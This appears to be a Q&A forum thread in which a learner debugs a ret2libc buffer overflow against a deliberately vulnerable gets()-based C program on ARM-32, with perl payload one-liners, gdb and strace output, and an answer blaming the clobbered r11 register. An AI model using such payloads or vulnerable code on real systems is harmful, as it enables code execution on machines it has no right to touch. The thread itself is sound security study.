3

In the spirit of gaining a deep understanding, I have read up and worked on some small hacks involving Buffer OverFlow (BOF) attacks, in particular, on an ARM-32 system, via the Ret2Libc style attack.

It all works quite well upto a point. The basic technique (experts can skip over all this of course): -deliberately use a "bad" api - gets() in the func foo() below - so that one can easily overflow it's buffer; we carefully pass a crafted buffer to the program:

perl -e 'print "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"' | ./arm_bof_vuln

where 0x76e9ffac is the address of the 'system()' glibc function. (yes I also tried this with ASLR disabled).

Env: a) A Qemu-emulated ARM926EJ-S rev 5 (v5l) (ARM-32) running the 4.8.12-yocto-standard Linux kernel built with Yocto Poky!

b) a Raspberry Pi 3 Model B running Raspbian 8.

THE ISSUE: execution proceeds as expected, it does indeed enter the code of system(3); I have verified this by even single-stepping through the code (on the Yocto build with debug enabled).

The problem- the parameter being passed to do_system() is getting zeroed out [??]. I have further verified that this is indeed the case (by single-stepping and strace -ing it).

Pl see a sample run below on the R Pi and a Yocto-based system:

-i use a file (rpi_input3.bin) to feed the input, which basically is: "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"

The 'C' code arm_buf_vuln.c:

static void foo(void)
{
    char local[12];
    gets(local);
}

int main (int argc, char **argv)
{
    foo();
    exit (EXIT_SUCCESS);
}

Sample Session on the R Pi:

RPi # gdb -q ./arm_bof_vuln
Reading symbols from ./arm_bof_vuln...(no debugging symbols found)...done.
(gdb) disassemble foo
Dump of assembler code for function foo:
   0x00010494 <+0>: push    {r11, lr}
   0x00010498 <+4>: add r11, sp, #4
   0x0001049c <+8>: sub sp, sp, #16
   0x000104a0 <+12>:    sub r3, r11, #16
   0x000104a4 <+16>:    mov r0, r3
   0x000104a8 <+20>:    bl  0x1030c
   0x000104ac <+24>:    sub sp, r11, #4
   0x000104b0 <+28>:    pop {r11, pc}
End of assembler dump.
(gdb) b *0x104b0
Breakpoint 1 at 0x104b0
(gdb) r < rpi_input3.bin 
Starting program: /home/pi/myprj/arm_bof/arm_bof_vuln < rpi_input3.bin

Breakpoint 1, 0x000104b0 in foo ()
(gdb) xs
x/8x $sp
0x7efff528: 0x00000000  0x76e9ffac  0x7efff600  0x00000001
0x7efff538: 0x00000000  0x76e7e294  0x76fa3000  0x7efff694
x/8x $sp-12
0x7efff51c: 0x2d20736c  0x0000006c  0x00000000  0x00000000
0x7efff52c: 0x76e9ffac  0x7efff600  0x00000001  0x00000000
(gdb) p/x $r0
$1 = 0x7efff51c
(gdb) si
__libc_system (line=0x7efff51c "ls -l") at ../sysdeps/posix/system.c:179

<< NOTE- at this point, the parameter to system() is correct! But, it actually gets nullified later >>

179 ../sysdeps/posix/system.c: No such file or directory.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
612 fileops.c: No such file or directory.
(gdb) bt
#0  0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
#1  0x000104b4 in foo ()
(gdb) 

On a Yocto system, the strace output snippet:

# perl -e 'print "sh" . "\x00"x14 . "\x78\x90\x8f\x49"' | strace -vf  << -v: verbose 
                                                       -f: follow any children >>
  ./arm_bof_vuln
execve("./arm_bof_vuln", ["./arm_bof_vuln"], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
brk(NULL)                               = 0x21000

[...]

brk(NULL)                               = 0x21000
brk(0x43000)                            = 0x43000
read(0, "sh\0\0\0\0\0\0\0\0\0\0\0\0\0\0x\220\217I", 4096) = 20  << this is the gets() !  
                               reading in 20 bytes, passed via the pipe from perl... >>
read(0, "", 4096)                       = 0
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbefffa48) = 797   
   << the code of the lib function system(3) calls fork(2) which becomes clone(2) >>
wait4(797, strace: Process 797 attached
 <unfinished ...>  << strace -f takes effect – the child is being followed below >>
[pid   797] rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid   797] rt_sigaction(SIGQUIT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid   797] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0

  << here: the parameter to execve() is null ! Hence, it fails >>

[pid   797] execve("/bin/sh", ["sh", "-c", ""], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
...

Why does the parameter get nullified? TIA!

kaiwan
  • 131
  • 3

1 Answers1

2

An excellent tutorial on stack buffer smashing, if you haven't read it already, is Smashing the Stack for Fun and Profit.

What you've set up appears to be mostly correct (storing new arguments on stack, finding the stack buffer, injecting the target function address at the location of the saved pc). I think the problem may be with the callee-saved register r11, which is being restored to all zeros from your overflow of the stack when foo returns to system:

0x000104b0 <+28>:    pop {r11, pc}

I would check its value before/after the gets and see if restoring it fixes the problem. If so, this code has generated an unintentional stack cookie, as a result of trying to optimize for ARM calling conventions/registers.

Kees Cook
  • 121
  • 3